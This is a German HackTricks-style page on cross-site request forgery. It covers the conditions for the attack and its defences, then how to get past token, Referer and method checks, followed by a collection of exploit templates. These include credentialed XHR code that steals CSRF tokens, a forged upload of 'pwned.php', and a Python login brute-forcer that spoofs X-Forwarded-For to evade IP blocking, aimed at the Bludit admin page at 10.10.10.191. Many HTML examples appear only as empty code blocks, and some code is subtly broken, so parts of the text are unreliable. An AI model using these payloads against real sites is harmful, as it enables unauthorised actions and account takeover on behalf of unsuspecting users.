# CSRF (Cross Site Request Forgery) {{#include ../banners/hacktricks-training.md}} ## Cross-Site Request Forgery (CSRF) Erklärt **Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitsanfälligkeit, die in Webanwendungen gefunden wird. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer durch Ausnutzung ihrer authentifizierten Sitzungen auszuführen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Einreichen von Formularen oder das Abrufen von Bildern verwendet. ### Voraussetzungen für einen CSRF-Angriff Um eine CSRF-Anfälligkeit auszunutzen, müssen mehrere Bedingungen erfüllt sein: 1. **Identifizieren einer wertvollen Aktion**: Der Angreifer muss eine Aktion finden, die es wert ist, ausgenutzt zu werden, wie das Ändern des Passworts, der E-Mail oder das Erhöhen von Berechtigungen. 2. **Sitzungsmanagement**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können. 3. **Fehlen unvorhersehbarer Parameter**: Die Anfrage sollte keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können. ### Schnelle Überprüfung Sie könnten **die Anfrage in Burp abfangen** und die CSRF-Schutzmaßnahmen überprüfen. Um dies im Browser zu testen, können Sie auf **Copy as fetch** klicken und die Anfrage überprüfen:
### Verteidigung gegen CSRF Mehrere Gegenmaßnahmen können implementiert werden, um sich gegen CSRF-Angriffe zu schützen: - [**SameSite-Cookies**](hacking-with-cookies/index.html#samesite): Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. [Mehr über SameSite-Cookies](hacking-with-cookies/index.html#samesite). - [**Cross-Origin Resource Sharing**](cors-bypass.md): Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Lesen der Antwort von der Opferseite erfordert. [Erfahren Sie mehr über CORS-Umgehung](cors-bypass.md). - **Benutzerauthentifizierung**: Das Anfordern des Passworts des Benutzers oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen. - **Überprüfung von Referrer- oder Origin-Headern**: Die Validierung dieser Header kann helfen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Allerdings kann eine sorgfältige Gestaltung von URLs schlecht implementierte Überprüfungen umgehen, wie zum Beispiel: - Verwendung von `http://mal.net?orig=http://example.com` (URL endet mit der vertrauenswürdigen URL) - Verwendung von `http://example.com.mal.net` (URL beginnt mit der vertrauenswürdigen URL) - **Ändern von Parameternamen**: Das Ändern der Namen von Parametern in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern. - **CSRF-Token**: Die Einbeziehung eines einzigartigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen kann das Risiko von CSRF erheblich mindern. Die Wirksamkeit des Tokens kann durch die Durchsetzung von CORS erhöht werden. Das Verständnis und die Implementierung dieser Verteidigungen sind entscheidend für die Aufrechterhaltung der Sicherheit und Integrität von Webanwendungen. ## Umgehung der Verteidigungen ### Von POST zu GET Vielleicht ist das Formular, das Sie ausnutzen möchten, darauf vorbereitet, eine **POST-Anfrage mit einem CSRF-Token zu senden**, aber Sie sollten **überprüfen**, ob auch eine **GET-Anfrage** **gültig** ist und ob bei der Sendung einer GET-Anfrage das **CSRF-Token weiterhin validiert wird**. ### Fehlendes Token Anwendungen könnten einen Mechanismus implementieren, um **Tokens** zu **validieren**, wenn sie vorhanden sind. Eine Sicherheitsanfälligkeit entsteht jedoch, wenn die Validierung ganz übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie **den Parameter entfernen**, der das Token trägt, nicht nur dessen Wert. Dies ermöglicht es ihnen, den Validierungsprozess zu umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchzuführen. ### CSRF-Token ist nicht an die Benutzersitzung gebunden Anwendungen, die **CSRF-Token nicht an Benutzersitzungen binden**, stellen ein erhebliches **Sicherheitsrisiko** dar. Diese Systeme überprüfen Tokens gegen einen **globalen Pool**, anstatt sicherzustellen, dass jedes Token an die initiierende Sitzung gebunden ist. So nutzen Angreifer dies aus: 1. **Authentifizieren** mit ihrem eigenen Konto. 2. **Ein gültiges CSRF-Token** aus dem globalen Pool **erhalten**. 3. **Dieses Token** in einem CSRF-Angriff gegen ein Opfer **verwenden**. Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, unbefugte Anfragen im Namen des Opfers zu stellen und die **unzureichende Token-Validierungsmechanismus** der Anwendung auszunutzen. ### Methodenumgehung Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die **Methoden** **Überschreibungsfunktionalität** funktioniert. Wenn beispielsweise die **PUT**-Methode verwendet wird, können Sie versuchen, die **POST**-Methode zu **verwenden** und **zu senden**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Dies könnte auch funktionieren, indem Sie den **\_method-Parameter innerhalb einer POST-Anfrage** senden oder die **Header** verwenden: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ ### Umgehung des benutzerdefinierten Header-Tokens Wenn die Anfrage einen **benutzerdefinierten Header** mit einem **Token** als **CSRF-Schutzmethode** hinzufügt, dann: - Testen Sie die Anfrage ohne den **angepassten Token und auch den Header.** - Testen Sie die Anfrage mit genau **gleicher Länge, aber unterschiedlichem Token**. ### CSRF-Token wird durch ein Cookie verifiziert Anwendungen können CSRF-Schutz implementieren, indem sie das Token sowohl in einem Cookie als auch in einem Anfrageparameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob das im Backend gesendete Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie überprüft, ob das Token im Anfrageparameter mit dem Wert im Cookie übereinstimmt. Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwächen aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z.B. eine CRLF-Sicherheitsanfälligkeit. Der Angreifer kann dies ausnutzen, indem er ein täuschendes Bild lädt, das das Cookie setzt, gefolgt von der Einleitung des CSRF-Angriffs. Hier ist ein Beispiel, wie ein Angriff strukturiert sein könnte: ```html
``` > [!NOTE] > Beachten Sie, dass wenn das **csrf-Token mit dem Sitzungscookie verbunden ist, dieser Angriff nicht funktionieren wird**, da Sie die Sitzung des Opfers setzen müssen, und daher würden Sie sich selbst angreifen. ### Content-Type-Änderung Laut [**dieser**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) Quelle, um **Preflight**-Anfragen mit der **POST**-Methode zu **vermeiden**, sind die erlaubten Content-Type-Werte: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** Beachten Sie jedoch, dass die **Logik der Server variieren kann**, abhängig vom verwendeten **Content-Type**, daher sollten Sie die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ ausprobieren. Beispiel (von [hier](https://brycec.me/posts/corctf_2021_challenges)) für das Senden von JSON-Daten als text/plain: ```html
``` ### Umgehen von Preflight-Anfragen für JSON-Daten Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist es nicht direkt möglich, `Content-Type: application/json` in einem HTML-Formular zu verwenden. Ebenso initiiert die Nutzung von `XMLHttpRequest`, um diesen Inhaltstyp zu senden, eine Preflight-Anfrage. Dennoch gibt es Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet: 1. **Verwendung alternativer Inhaltstypen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt. 2. **Inhaltstyp ändern**: Um eine Preflight-Anfrage zu vermeiden und sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dies löst keine Preflight-Anfrage aus, könnte jedoch vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, dass er `application/json` akzeptiert. 3. **Nutzung von SWF Flash-Dateien**: Eine weniger gängige, aber machbare Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [diesen Beitrag](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Umgehung der Referrer-/Origin-Prüfung **Vermeiden Sie den Referrer-Header** Anwendungen können den 'Referer'-Header nur validieren, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann der folgende HTML-Meta-Tag verwendet werden: ```xml ``` Dies stellt sicher, dass der 'Referer'-Header weggelassen wird, was möglicherweise Validierungsprüfungen in einigen Anwendungen umgeht. **Regexp-Umgehungen** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} Um den Domainnamen des Servers in der URL festzulegen, die der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun: ```html
``` ### **HEAD-Methode umgehen** Im ersten Teil von [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wird erklärt, dass [Oaks Quellcode](https://github.com/oakserver/oak/blob/main/router.ts#L281) einen Router festlegt, der **HEAD-Anfragen als GET-Anfragen** ohne Antwortkörper behandelt - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstatt einen spezifischen Handler zu haben, der sich mit HEAD-Anfragen befasst, werden sie einfach **dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper**. Daher, wenn eine GET-Anfrage eingeschränkt wird, könntest du einfach **eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird**. ## **Exploit-Beispiele** ### **Exfiltrieren des CSRF-Tokens** Wenn ein **CSRF-Token** als **Schutz** verwendet wird, könntest du versuchen, es zu **exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)-Schwachstelle oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)-Schwachstelle ausnutzt. ### **GET mit HTML-Tags** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` Andere HTML5-Tags, die verwendet werden können, um automatisch eine GET-Anfrage zu senden, sind: ```html ``` ### Form GET-Anfrage ```html
``` ### Form POST-Anfrage ```html
``` ### Form POST-Anfrage über iframe ```html
``` ### **Ajax POST-Anfrage** ```html ``` ### multipart/form-data POST-Anfrage ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST-Anfrage v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### Form POST-Anfrage aus einem iframe heraus ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **CSRF-Token stehlen und eine POST-Anfrage senden** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **CSRF-Token stehlen und eine Post-Anfrage mit einem iframe, einem Formular und Ajax senden** ```html
``` ### **CSRF-Token stehlen und eine POST-Anfrage mit einem iframe und einem Formular senden** ```html ``` ### **Token stehlen und mit 2 iframes senden** ```html
``` ### **POSTSteal CSRF-Token mit Ajax und sende ein Post mit einem Formular** ```html
``` ### CSRF mit Socket.IO ```html ``` ## CSRF Login Brute Force Der Code kann verwendet werden, um ein Login-Formular mit einem CSRF-Token zu bruteforcen (er verwendet auch den Header X-Forwarded-For, um einen möglichen IP-Blacklist-Umgehung zu versuchen): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Tools - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## References - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​ {{#include ../banners/hacktricks-training.md}}